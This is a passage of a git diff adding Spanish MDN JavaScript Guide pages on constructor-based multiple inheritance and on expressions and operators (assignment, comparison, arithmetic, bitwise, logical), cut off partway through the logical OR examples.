+<p>Algunos lenguajes orientados a objetos tienen herencia múltiple. Es decir, un objeto puede heredar las propiedades y valores de varios objetos padre distintos. JavaScript no proporciona herencia múltiple.</p>
+
+<p>La herencia de valores de propiedades se produce en tiempo de ejecución por JavaScript buscando en la cadena de prototipos de un objeto para encontrar un valor. Debido a que un objeto tiene un solo prototipo asociado, JavaScript no puede heredar dinámicamente de más de una cadena de prototipos.</p>
+
+<p>En JavaScript se puede hacer que desde una función constructor llame a una o más funciones <em>constructor</em>. Esto da la ilusión de herencia múltiple. Considera, por ejemplo, las siguientes definiciones:</p>
+
+<pre class="brush: js notranslate">function Hobbyist (hobby) {
+   this.hobby = hobby || "scuba";
+}
+
+function Engineer (name, projs, mach, hobby) {
+   this.base1 = WorkerBee;
+   this.base1(name, "engineering", projs);
+   this.base2 = Hobbyist;
+   this.base2(hobby);
+   this.machine = mach || "";
+}
+Engineer.prototype = new WorkerBee;
+
+var dennis = new Engineer("Doe, Dennis", ["collabra"], "hugo")
+</pre>
+
+<p>Consideremos, además, la definición de <code>WorkerBee</code> que se usó antes en este capítulo. En este caso, el objeto <code>dennis</code> tiene estas propiedades:</p>
+
+<pre class="brush: js notranslate">dennis.name == "Doe, Dennis"
+dennis.dept == "engineering"
+dennis.projects == ["collabra"]
+dennis.machine == "hugo"
+dennis.hobby == "scuba"
+</pre>
+
+<p>Por tanto <code>dennis</code> obtiene la propiedad <code>hobby</code> del constructor<code> Hobbyist</code> . Sin embargo, si luego añades una propiedad al prototipo del constructor de <code>Hobbyist</code>:</p>
+
+<pre class="brush: js notranslate">Hobbyist.prototype.equipment = ["mask", "fins", "regulator", "bcd"]
+</pre>
+
+<p>El objeto <code>dennis</code> no hereda esta nueva propiedad porque no está en su cadena de prototipos.</p>
+
+<div>{{PreviousNext("Web/JavaScript/Guide/Working_with_Objects", "Web/JavaScript/Guide/Iterators_and_Generators")}}</div>
diff --git a/files/es/web/javascript/guide/expressions_and_operators/index.html b/files/es/web/javascript/guide/expressions_and_operators/index.html
new file mode 100644
index 0000000000..ca585f3ad6
--- /dev/null
+++ b/files/es/web/javascript/guide/expressions_and_operators/index.html
@@ -0,0 +1,924 @@
+---
+title: Expresiones y operadores
+slug: Web/JavaScript/Guide/Expressions_and_Operators
+tags:
+  - Expresiones
+  - Guía
+  - JavaScript
+  - Operadores
+  - Principiante
+  - '|10n_prioridad'
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<div>{{jsSidebar("JavaScript Guide", "Guía JavaScript")}} {{PreviousNext("Web/JavaScript/Guide/Functions", "Web/JavaScript/Guide/Numbers_and_dates")}}</div>
+
+<p class="summary">Este capítulo describe las expresiones y los operadores de JavaScript, incluyendo los de asignación, comparación, aritméticos, bit a bit, lógicos, ternarios, de cadena y otros.</p>
+
+<p>También se encuentra disponible una lista completa y detallada de operadores y expresiones en la {{JSxRef("Operadores", "referencia")}}.</p>
+
+<h2 id="Operadores">Operadores</h2>
+
+<p>JavaScript tiene los siguientes tipos de operadores. Esta sección describe los operadores y contiene información sobre la precedencia de los mismos.</p>
+
+<ul>
+ <li>{{anch("Asignacion", "Operadores de asignación")}}</li>
+ <li>{{anch("Comparacion", "Operadores de comparación")}}</li>
+ <li>{{anch("Aritmeticos", "Operadores aritméticos")}}</li>
+ <li>{{anch("Bit_a_bit", "Operadores bit a bit")}}</li>
+ <li>{{anch("Logico", "Operadores lógicos")}}</li>
+ <li>{{anch("Cadena", "Operadores de cadena")}}</li>
+ <li>{{anch("Condicional", "Operador condicional (ternario)")}}</li>
+ <li>{{anch("Coma", "Operador coma")}}</li>
+ <li>{{anch("Unario", "Operadores unarios")}}</li>
+ <li>{{anch("Relational", "Operadores relacionales")}}</li>
+</ul>
+
+<p>JavaScript tiene ambos operadores <em>binarios</em> y <em>unarios</em>, y un operador ternario especial, el operador condicional. Un operador binario requiere dos operandos, uno antes del operando y otro después del operador:</p>
+
+<pre class="syntaxbox notranslate"><em>operando1</em> <em>operador</em> <em>operando2</em>
+</pre>
+
+<p>Por ejemplo, <code>3+4</code> o <code>x*y</code>.</p>
+
+<p>Un operador unario requiere un solo operando, ya sea antes o después del operador:</p>
+
+<pre class="syntaxbox notranslate"><em>operador</em> <em>operando</em>
+</pre>
+
+<p>o</p>
+
+<pre class="syntaxbox notranslate"><em>operando</em> <em>operador</em>
+</pre>
+
+<p>Por ejemplo, <code>x++</code> o <code>++x</code>.</p>
+
+<h3 id="Operadores_de_asignación"><a id="Asignacion" name="Asignacion">Operadores de asignación</a></h3>
+
+<p>Un operador de asignación asigna un valor a su operando izquierdo basándose en el valor de su operando derecho. El operador de asignación simple es igual (<code>=</code>), que asigna el valor de su operando derecho a su operando izquierdo. Es decir, <code>x = y</code> asigna el valor de <code>y</code> a <code>x</code>.</p>
+
+<p>También hay operadores de asignación compuestos que son una abreviatura de las operaciones enumeradas en la siguiente tabla:</p>
+
+<table class="standard-table">
+ <caption>Operadores de asignación compuestos</caption>
+ <thead>
+  <tr>
+   <th>Nombre</th>
+   <th>Operador abreviado</th>
+   <th>Significado</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{JSxRef("Operadores/Assignment", "Asignación")}}</td>
+   <td><code>x = y</code></td>
+   <td><code>x = y</code></td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Addition_assignment", "Asignación de adición")}}</td>
+   <td><code>x += y</code></td>
+   <td><code>x = x + y</code></td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Subtraction_assignment", "Asignación de resta")}}</td>
+   <td><code>x -= y</code></td>
+   <td><code>x = x - y</code></td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Multiplication_assignment", "Asignación de multiplicación")}}</td>
+   <td><code>x *= y</code></td>
+   <td><code>x = x * y</code></td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Division_assignment", "Asignación de división")}}</td>
+   <td><code>x /= y</code></td>
+   <td><code>x = x / y</code></td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Remainder_assignment", "Asignación de residuo")}}</td>
+   <td><code>x %= y</code></td>
+   <td><code>x = x % y</code></td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Exponentiation_assignment", "Asignación de exponenciación")}}</td>
+   <td><code>x **= y</code></td>
+   <td><code>x = x ** y</code></td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Left_shift_assignment", "Asignación de desplazamiento a la izquierda")}}</td>
+   <td><code>x &lt;&lt;= y</code></td>
+   <td><code>x = x &lt;&lt; y</code></td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Right_shift_assignment", "Asignación de desplazamiento a la derecha")}}</td>
+   <td><code>x &gt;&gt;= y</code></td>
+   <td><code>x = x &gt;&gt; y</code></td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Unsigned_right_shift_assignment", "Asignación de desplazamiento a la derecha sin signo")}}</td>
+   <td><code>x &gt;&gt;&gt;= y</code></td>
+   <td><code>x = x &gt;&gt;&gt; y</code></td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Bitwise_AND_assignment", "Asignación AND bit a bit")}}</td>
+   <td><code>x &amp;= y</code></td>
+   <td><code>x = x &amp; y</code></td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Bitwise_XOR_assignment", "Asignación XOR bit a bit")}}</td>
+   <td><code>x ^= y</code></td>
+   <td><code>x = x ^ y</code></td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Bitwise_OR_assignment", "Asignación OR bit a bit")}}</td>
+   <td><code>x |= y</code></td>
+   <td><code>x = x | y</code></td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Logical_AND_assignment", "Asignación AND lógico")}}</td>
+   <td><code>x &amp;&amp;= y</code></td>
+   <td><code>x &amp;&amp; (x = y)</code></td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Logical_OR_assignment", "Asignación OR lógico")}}</td>
+   <td><code>x ||= y</code></td>
+   <td><code>x || (x = y)</code></td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Logical_nullish_assignment", "Asignación de anulación lógica")}}</td>
+   <td><code>x ??= y</code></td>
+   <td><code>x ?? (x = y)</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Valor_de_retorno_y_encadenamiento">Valor de retorno y encadenamiento</h4>
+
+<p>Como la mayoría de las expresiones, asignaciones como <code>x = y</code> tienen un valor de retorno. Se puede recuperar p. ej. asignando la expresión o registrándola:</p>
+
+<pre class="brush: bash notranslate">const z = (x = y); // O de forma equivalente: const z = x = y;
+
+console.log(z); // Registra el valor de retorno de la asignación x = y.
+console.log(x = y); // O registra el valor de retorno directamente.
+</pre>
+
+<p>El valor de retorno coincide con la expresión a la derecha del signo <code>=</code> en la columna "Significado" de la tabla anterior. Eso significa que <code>(x = y)</code> devuelve <code>y</code>, <code>(x += y)</code> devuelve la suma resultante <code>x + y</code>, <code>(x **= y)</code> devuelve la potencia resultante <code>x ** y</code>, y así sucesivamente.</p>
+
+<p>En el caso de asignaciones lógicas, <code>(x &amp;&amp;= y)</code>, <code>(x || = y)</code> y <code>(x ??= y)</code>, el valor de retorno es el de la operación lógica sin la asignación, entonces <code>x &amp;&amp; y</code>, <code>x || y</code> y <code>x ?? y</code>, respectivamente.</p>
+
+<p>Ten en cuenta que los valores de retorno siempre se basan en los valores de los operandos <em>antes</em> de la operación.</p>
+
+<p>Al encadenar estas expresiones, cada asignación se evalúa de <strong>derecha a izquierda</strong>. Considera estos ejemplos:</p>
+
+<ul>
+ <li><code>w = z = x = y</code> es equivalente a <code>w = (z = (x = y))</code> o <code>x = y; z = y; w = y</code></li>
+ <li><code>z += x *= y</code> es equivalente e <code>z += (x *= y)</code> o <code>tmp = x * y; x *= y; z += tmp</code> (salvo que sin <code>tmp</code>).</li>
+</ul>
+
+<h4 id="Desestructuración">Desestructuración</h4>
+
+<p>Para asignaciones más complejas, la sintaxis de {{JSxRef("Operadores/Destructuring_assignment", "asignación de desestructuración")}} es una expresión de JavaScript que hace posible extraer datos de arreglos u objetos usando una sintaxis que refleja la construcción de arreglos y objetos literales.</p>
+
+<pre class="brush: js notranslate">var foo = ['one', 'two', 'three'];
+
+// sin desestructurar
+var one   = foo[0];
+var two   = foo[1];
+var three = foo[2];
+
+// con desestructuración
+var [one, two, three] = foo;</pre>
+
+<h3 id="Operadores_de_comparación"><a id="Comparacion" name="Comparacion">Operadores de comparación</a></h3>
+
+<p><a id="Comparacion" name="Comparacion"> </a></p>
+
+<p><a id="Comparacion" name="Comparacion">Un operador de comparación compara sus operandos y devuelve un valor lógico en función de si la comparación es verdadera (<code>true</code>) o falsa (<code>false</code>). Los operandos pueden ser valores numéricos, de cadena, lógicos u objetos. Las cadenas se comparan según el orden lexicográfico estándar, utilizando valores Unicode. En la mayoría de los casos, si los dos operandos no son del mismo tipo, JavaScript intenta convertirlos a un tipo apropiado para la comparación. Este comportamiento generalmente resulta en comparar los operandos numéricamente. Las únicas excepciones a la conversión de tipos dentro de las comparaciones involucran a los operadores <code>===</code> y <code>!==</code>, que realizan comparaciones estrictas de igualdad y desigualdad. Estos operadores no intentan convertir los operandos a tipos compatibles antes de verificar la igualdad. La siguiente tabla describe los operadores de comparación en términos de este código de ejemplo:</a></p>
+
+<pre class="brush: js notranslate"><a id="Comparacion" name="Comparacion">
+var var1 = 3;
+var var2 = 4;
+</a></pre>
+
+<table class="standard-table">
+ <caption><a id="Comparacion" name="Comparacion">Operadores de comparación</a></caption>
+ <thead>
+  <tr>
+   <th scope="col"><a id="Comparacion" name="Comparacion">Operador</a></th>
+   <th scope="col"><a id="Comparacion" name="Comparacion">Descripción</a></th>
+   <th scope="col"><a id="Comparacion" name="Comparacion">Ejemplos que devuelven <code>true</code></a></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a id="Comparacion" name="Comparacion">{{JSxRef("Operadores/Comparison_Operators", "Igual", "#Igualdad")}} (<code>==</code>)</a></td>
+   <td><a id="Comparacion" name="Comparacion">Devuelve <code>true</code> si los operandos son iguales.</a></td>
+   <td><a id="Comparacion" name="Comparacion"><code>3 == var1</code> </a>
+    <p><a id="Comparacion" name="Comparacion"><code>"3" == var1</code></a></p>
+    <a id="Comparacion" name="Comparacion"> <code>3 == '3'</code></a></td>
+  </tr>
+  <tr>
+   <td><a id="Comparacion" name="Comparacion">{{JSxRef("Operadores/Comparison_Operators", "No es igual", "#Desigualdad")}} (<code>!=</code>)</a></td>
+   <td><a id="Comparacion" name="Comparacion">Devuelve <code>true</code> si los operandos <em>no</em> son iguales.</a></td>
+   <td><a id="Comparacion" name="Comparacion"><code>var1 != 4<br>
+    var2 != "3"</code></a></td>
+  </tr>
+  <tr>
+   <td><a id="Comparacion" name="Comparacion">{{JSxRef("Operadores/Comparison_Operators", "Estrictamente igual", "#Identidad")}} (<code>===</code>)</a></td>
+   <td><a id="Comparacion" name="Comparacion">Devuelve <code>true</code> si los operandos son iguales y del mismo tipo. Consulta también {{JSxRef("Object.is")}} y {{JSxRef("../Equality_comparisons_and_sameness", "similitud en JS")}}.</a></td>
+   <td><a id="Comparacion" name="Comparacion"><code>3 === var1</code></a></td>
+  </tr>
+  <tr>
+   <td><a id="Comparacion" name="Comparacion">{{JSxRef("Operadores/Comparison_Operators", "Desigualdad estricta", "#No_Identidad")}} (<code>!==</code>)</a></td>
+   <td><a id="Comparacion" name="Comparacion">Devuelve <code>true</code> si los operandos son del mismo tipo pero no iguales, o son de diferente tipo.</a></td>
+   <td><a id="Comparacion" name="Comparacion"><code>var1 !== "3"<br>
+    3 !== '3'</code></a></td>
+  </tr>
+  <tr>
+   <td><a id="Comparacion" name="Comparacion">{{JSxRef("/Operadores/Comparison_Operators", "Mayor que", "#Mayor_que_el_operador")}} (<code>&gt;</code>)</a></td>
+   <td><a id="Comparacion" name="Comparacion">Devuelve <code>true</code> si el operando izquierdo es mayor que el operando derecho.</a></td>
+   <td><a id="Comparacion" name="Comparacion"><code>var2 &gt; var1<br>
+    "12" &gt; 2</code></a></td>
+  </tr>
+  <tr>
+   <td><a id="Comparacion" name="Comparacion">{{JSxRef("Operadores/Comparison_Operators", "Mayor o igual que", "#Operador_mayor_que_o_igual")}} (<code>&gt;=</code>)</a></td>
+   <td><a id="Comparacion" name="Comparacion">Devuelve <code>true</code> si el operando izquierdo es mayor o igual que el operando derecho.</a></td>
+   <td><a id="Comparacion" name="Comparacion"><code>var2 &gt;= var1<br>
+    var1 &gt;= 3</code></a></td>
+  </tr>
+  <tr>
+   <td><a id="Comparacion" name="Comparacion">{{JSxRef("Operadores/Comparison_Operators", "Menor que", "#Operador_menor_que")}} (<code>&lt;</code>)</a></td>
+   <td><a id="Comparacion" name="Comparacion">Devuelve <code>true</code> si el operando izquierdo es menor que el operando derecho.</a></td>
+   <td><a id="Comparacion" name="Comparacion"><code>var1 &lt; var2<br>
+    "2" &lt; 12</code></a></td>
+  </tr>
+  <tr>
+   <td><a id="Comparacion" name="Comparacion">{{JSxRef("Operadores/Comparison_Operators", "Menor o igual", "#Operador_menor_que_o_igual")}} (<code>&lt;=</code>)</a></td>
+   <td><a id="Comparacion" name="Comparacion">Devuelve <code>true</code> si el operando izquierdo es menor o igual que el operando derecho.</a></td>
+   <td><a id="Comparacion" name="Comparacion"><code>var1 &lt;= var2<br>
+    var2 &lt;= 5</code></a></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><a id="Comparacion" name="Comparacion"><strong>Nota</strong>: (<strong>=&gt;</strong>) no es un operador, sino la notación para {{JSxRef("Funciones/Arrow_functions", "Funciones flecha")}}.</a></p>
+</div>
+
+<h3 id="Operadores_aritméticos"><a id="Comparacion" name="Comparacion"></a><a id="Aritmeticos" name="Aritmeticos">Operadores aritméticos</a></h3>
+
+<p>Un operador aritmético toma valores numéricos (ya sean literales o variables) como sus operandos y devuelve un solo valor numérico. Los operadores aritméticos estándar son suma (<code>+</code>), resta (<code>-</code>), multiplicación (<code>*</code>) y división (<code>/</code>). Estos operadores funcionan como lo hacen en la mayoría de los otros lenguajes de programación cuando se usan con números de punto flotante (en particular, ten en cuenta que la división entre cero produce {{JSxRef("Infinity")}}). Por ejemplo:</p>
+
+<pre class="brush: js notranslate">1 / 2; // 0.5
+1 / 2 == 1.0 / 2.0; // Esto es true
+</pre>
+
+<p>Además de las operaciones aritméticas estándar (<code>+</code>, <code>-</code>, <code>*</code>, <code>/</code>), JavaScript proporciona los operadores aritméticos enumerados en la siguiente tabla:</p>
+
+<table class="fullwidth-table">
+ <caption>Operadores aritméticos</caption>
+ <thead>
+  <tr>
+   <th scope="col">Operador</th>
+   <th scope="col">Descripción</th>
+   <th scope="col">Ejemplo</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{JSxRef("Operadores/Remainder", "Residuo")}} (<code>%</code>)</td>
+   <td>Operador binario. Devuelve el resto entero de dividir los dos operandos.</td>
+   <td>12 % 5 devuelve 2.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Increment", "Incremento")}} (<code>++</code>)</td>
+   <td>Operador unario. Agrega uno a su operando. Si se usa como operador prefijo (<code>++x</code>), devuelve el valor de su operando después de agregar uno; si se usa como operador sufijo (<code>x++</code>), devuelve el valor de su operando antes de agregar uno.</td>
+   <td>Si <code>x</code> es 3, <code>++x</code> establece <code>x</code> en 4 y devuelve 4, mientras que <code>x++</code> devuelve 3 y , solo entonces, establece <code>x</code> en 4.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Decrement", "Decremento")}} (<code>--</code>)</td>
+   <td>Operador unario. Resta uno de su operando. El valor de retorno es análogo al del operador de incremento.</td>
+   <td>Si <code>x</code> es 3, entonces <code>--x</code> establece <code>x</code> en 2 y devuelve 2, mientras que <code>x--</code> devuelve 3 y, solo entonces, establece <code>x</code> en 2.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Unary_negation", "Negación unaria")}} (<code>-</code>)</td>
+   <td>Operador unario. Devuelve la negación de su operando.</td>
+   <td>Si <code>x</code> es 3, entonces <code>-x</code> devuelve -3.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Unary_plus", "Positivo unario")}} (<code>+</code>)</td>
+   <td>Operador unario. Intenta convertir el operando en un número, si aún no lo es.</td>
+   <td><code>+"3"</code> devuelve <code>3</code>.<br>
+    <code>+true</code> devuelve <code>1.</code></td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Exponentiation", "Operador de exponenciación")}} (<code>**</code>)</td>
+   <td>Calcula la <code>base</code> a la potencia de <code>exponente</code>, es decir, <code>base<sup>exponente</sup></code></td>
+   <td><code>2 ** 3</code> returns <code>8</code>.<br>
+    <code>10 ** -1</code> returns <code>0.1</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Operadores_bit_a_bit"><a id="Bit_a_bit" name="Bit_a_bit">Operadores bit a bit</a></h3>
+
+<p>Un operador bit a bit trata a sus operandos como un conjunto de 32 bits (ceros y unos), en lugar de números decimales, hexadecimales u octales. Por ejemplo, el número decimal nueve tiene una representación binaria de 1001. Los operadores bit a bit realizan sus operaciones en tales representaciones binarias, pero devuelven valores numéricos estándar de JavaScript.</p>
+
+<p>La siguiente tabla resume los operadores bit a bit de JavaScript.</p>
+
+<table class="standard-table">
+ <caption>Operadores bit a bit</caption>
+ <thead>
+  <tr>
+   <th scope="col">Operador</th>
+   <th scope="col">Uso</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{JSxRef("Operadores/Bitwise_AND", "AND a nivel de bits")}}</td>
+   <td><code>a &amp; b</code></td>
+   <td>Devuelve un uno en cada posición del bit para los que los bits correspondientes de ambos operandos son unos.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Bitwise_OR", "OR a nivel de bits")}}</td>
+   <td><code>a | b</code></td>
+   <td>Devuelve un cero en cada posición de bit para el cual los bits correspondientes de ambos operandos son ceros.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Bitwise_XOR", "XOR a nivel de bits")}}</td>
+   <td><code>a ^ b</code></td>
+   <td>Devuelve un cero en cada posición de bit para la que los bits correspondientes son iguales.<br>
+    [Devuelve uno en cada posición de bit para la que los bits correspondientes son diferentes].</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Bitwise_NOT", "NOT a nivel de bits")}}</td>
+   <td><code>~ a</code></td>
+   <td>Invierte los bits de su operando.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Left_shift", "Desplazamiento a la izquierda")}}</td>
+   <td><code>a &lt;&lt; b</code></td>
+   <td>Desplaza <code>a</code> en representación binaria <code>b</code> bits hacia la izquierda, desplazándose en ceros desde la derecha.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Right_shift", "Desplazamiento a la derecha de propagación de signo")}}</td>
+   <td><code>a &gt;&gt; b</code></td>
+   <td>Desplaza <code>a</code> en representación binaria <code>b</code> bits a la derecha, descartando los bits desplazados.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Unsigned_right_shift", "Desplazamiento a la derecha de relleno cero")}}</td>
+   <td><code>a &gt;&gt;&gt; b</code></td>
+   <td>Desplaza <code>a</code> en representación binaria <code>b</code> bits hacia la derecha, descartando los bits desplazados y desplazándose en ceros desde la izquierda.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Operadores_logicos_bit_a_bit" name="Operadores_logicos_bit_a_bit">Operadores lógicos bit a bit</h4>
+
+<p>Conceptualmente, los operadores lógicos bit a bit funcionan de la siguiente manera:</p>
+
+<ul>
+ <li>Los operandos se convierten en enteros de treinta y dos bits y se expresan mediante una serie de bits (ceros y unos). A los números con más de 32 bits se les descartan los bits más significativos. Por ejemplo, el siguiente número entero con más de 32 bits se convertirá en un número entero de 32 bits:
+  <pre class="brush: bash notranslate">Antes:  1110<code> </code>0110<code> </code>1111<code> </code>1010<code> </code>0000<code> </code>0000<code> </code>0000<code> </code>0110<code> </code>0000<code> </code>0000<code> </code>0001
+Después:               1010<code> </code>0000<code> </code>0000<code> </code>0000<code> </code>0110<code> </code>0000<code> </code>0000<code> </code>0001</pre>
+ </li>
+ <li>Cada bit en el primer operando se empareja con el bit correspondiente en el segundo operando: primer bit al primer bit, segundo bit al segundo bit, y así sucesivamente.</li>
+ <li>El operador se aplica a cada par de bits y el resultado se construye bit a bit.</li>
+</ul>
+
+<p>Por ejemplo, la representación binaria de nueve es 1001 y la representación binaria de quince es 1111. Entonces, cuando los operadores bit a bit se aplican a estos valores, los resultados son los siguientes:</p>
+
+<table class="standard-table">
+ <caption>Ejemplos de operadores bit a bit</caption>
+ <thead>
+  <tr>
+   <th scope="col">Expresión</th>
+   <th scope="col">Resultado</th>
+   <th scope="col">Descripción binaria</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>15 &amp; 9</code></td>
+   <td><code>9</code></td>
+   <td><code>1111 &amp; 1001 = 1001</code></td>
+  </tr>
+  <tr>
+   <td><code>15 | 9</code></td>
+   <td><code>15</code></td>
+   <td><code>1111 | 1001 = 1111</code></td>
+  </tr>
+  <tr>
+   <td><code>15 ^ 9</code></td>
+   <td><code>6</code></td>
+   <td><code>1111 ^ 1001 = 0110</code></td>
+  </tr>
+  <tr>
+   <td><code>~15</code></td>
+   <td><code>-16</code></td>
+   <td><code>~ 0000 0000 ... 0000 1111 = 1111 1111 ... 1111 0000</code></td>
+  </tr>
+  <tr>
+   <td><code>~9</code></td>
+   <td><code>-10</code></td>
+   <td><code>~ 0000 0000 ... 0000 1001 = 1111 1111 ... 1111 0110</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Ten en cuenta que los 32 bits se invierten utilizando el operador <code>NOT</code> a nivel de bits y que los valores con el bit más significativo (más a la izquierda) establecido en 1 representan números negativos (representación en complemento a dos). <code>~x</code> evalúa al mismo valor que evalúa <code>-x - 1</code>.</p>
+
+<h4 id="Operadores_de_desplazamiento_de_bits" name="Operadores_de_desplazamiento_de_bits">Operadores de desplazamiento de bits</h4>
+
+<p>Los operadores de desplazamiento bit a bit toman dos operandos: el primero es una cantidad que se va a desplazar y el segundo especifica el número de posiciones de bit por las que se va a desplazar el primer operando. La dirección de la operación de desplazamiento es controlada por el operador utilizado.</p>
+
+<p>Los operadores de desplazamiento convierten sus operandos en enteros de treinta y dos bits y devuelven un resultado del mismo tipo que el operando izquierdo.</p>
+
+<p>Los operadores de desplazamiento se enumeran en la siguiente tabla.</p>
+
+<table class="fullwidth-table">
+ <caption>Operadores de desplazamiento de bits</caption>
+ <thead>
+  <tr>
+   <th scope="col">Operador</th>
+   <th scope="col">Descripción</th>
+   <th scope="col">Ejemplo</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{JSxRef("Operadores/Left_shift", "Desplazamiento a la izquierda")}}<br>
+    (<code>&lt;&lt;</code>)</td>
+   <td>Este operador desplaza el primer operando el número especificado de bits a la izquierda. Los bits desplazados en exceso hacia la izquierda se descartan. Los bits cero se desplazan desde la derecha.</td>
+   <td><code>9&lt;&lt;2</code> produce 36, porque 1001 desplazado 2 bits a la izquierda se convierte en 100100, que es 36.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Right_shift", "Desplazamiento a la derecha de propagación de signo")}} (<code>&gt;&gt;</code>)</td>
+   <td>Este operador desplaza el primer operando el número especificado de bits a la derecha. Los bits desplazados en exceso hacia la derecha se descartan. Las copias del bit más a la izquierda se desplazan desde la izquierda.</td>
+   <td><code>9&gt;&gt;2</code> produce 2, porque 1001 desplazado 2 bits a la derecha se convierte en 10, que es 2. Del mismo modo, <code>-9&gt;&gt;2</code> produce -3, porque el signo se conserva.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Unsigned_right_shift", "Desplazamiento a la derecha de relleno cero")}} (<code>&gt;&gt;&gt;</code>)</td>
+   <td>Este operador desplaza el primer operando el número especificado de bits a la derecha. Los bits desplazados en exceso hacia la derecha se descartan. Los bits cero se desplazan desde la izquierda.</td>
+   <td><code>19&gt;&gt;&gt;2</code> produce 4, porque 10011 desplazado 2 bits a la derecha se convierte en 100, que es 4. Para números no negativos, el desplazamiento a la derecha de relleno con ceros y el desplazamiento a la derecha de propagación del signo producen el mismo resultado.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Operadores_lógicos"><a id="Logico" name="Logico">Operadores lógicos</a></h3>
+
+<p>Los operadores lógicos se utilizan normalmente con valores booleanos (lógicos); cuando lo son, devuelven un valor booleano. Sin embargo, los operadores <code>&amp;&amp;</code> y <code>||</code> en realidad devuelven el valor de uno de los operandos especificados, por lo que si estos operadores se utilizan con valores no booleanos, pueden devolver un valor no booleano. Los operadores lógicos se describen en la siguiente tabla.</p>
+
+<table class="fullwidth-table">
+ <caption>Operadores lógicos</caption>
+ <thead>
+  <tr>
+   <th scope="col">Operador</th>
+   <th scope="col">Uso</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{JSxRef("Operadores/Logical_AND", "AND Lógico")}} (<code>&amp;&amp;</code>)</td>
+   <td><code>expr1 &amp;&amp; expr2</code></td>
+   <td>Devuelve <code>expr1</code> si se puede convertir a <code>false</code>; de lo contrario, devuelve <code>expr2</code>. Por lo tanto, cuando se usa con valores booleanos, <code>&amp;&amp;</code> devuelve <code>true</code> si ambos operandos son <code>true</code>; de lo contrario, devuelve <code>false</code>.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Logical_OR", "OR lógico")}} (<code>||</code>)</td>
+   <td><code>expr1 || expr2</code></td>
+   <td>Devuelve <code>expr1</code> si se puede convertir a <code>true</code>; de lo contrario, devuelve <code>expr2</code>. Por lo tanto, cuando se usa con valores booleanos, <code>||</code> devuelve <code>true</code> si alguno de los operandos es <code>true</code>; si ambos son falsos, devuelve <code>false</code>.</td>
+  </tr>
+  <tr>
+   <td>{{JSxRef("Operadores/Logical_NOT", "NOT lógico")}} (<code>!</code>)</td>
+   <td><code>!expr</code></td>
+   <td>Devuelve <code>false</code> si su único operando se puede convertir a <code>true</code>; de lo contrario, devuelve <code>true</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Ejemplos de expresiones que se pueden convertir a <code>false</code> son aquellos que se evalúan como <code>null</code>, 0, <code>NaN</code>, la cadena vacía ("") o <code>undefined</code>.</p>
+
+<p>El siguiente código muestra ejemplos del operador <code>&amp;&amp;</code> (<code>AND</code> lógico).</p>
+
+<pre class="brush: js notranslate">var a1 =  true &amp;&amp; true;     // t &amp;&amp; t devuelve true
+var a2 =  true &amp;&amp; false;    // t &amp;&amp; f devuelve false
+var a3 = false &amp;&amp; true;     // f &amp;&amp; t devuelve false
+var a4 = false &amp;&amp; (3 == 4); // f &amp;&amp; f devuelve false
+var a5 = 'Cat' &amp;&amp; 'Dog';    // t &amp;&amp; t devuelve Dog
+var a6 = false &amp;&amp; 'Cat';    // f &amp;&amp; t devuelve false
+var a7 = 'Cat' &amp;&amp; false;    // t &amp;&amp; f devuelve false
+</pre>
+
+<p>El siguiente código muestra ejemplos del operador || (<code>OR</code> lógico).</p>
+
+<pre class="brush: js notranslate">var o1 =  true || true;     // t || t devuelve true
+var o2 = false || true;     // f || t devuelve true
+var o3 =  true || false;    // t || f devuelve true
+var o4 = false || (3 == 4); // f || f devuelve false
+var o5 = 'Cat' || 'Dog';    // t || t devuelve Cat
+var o6 = false || 'Cat';    // f || t devuelve Cat
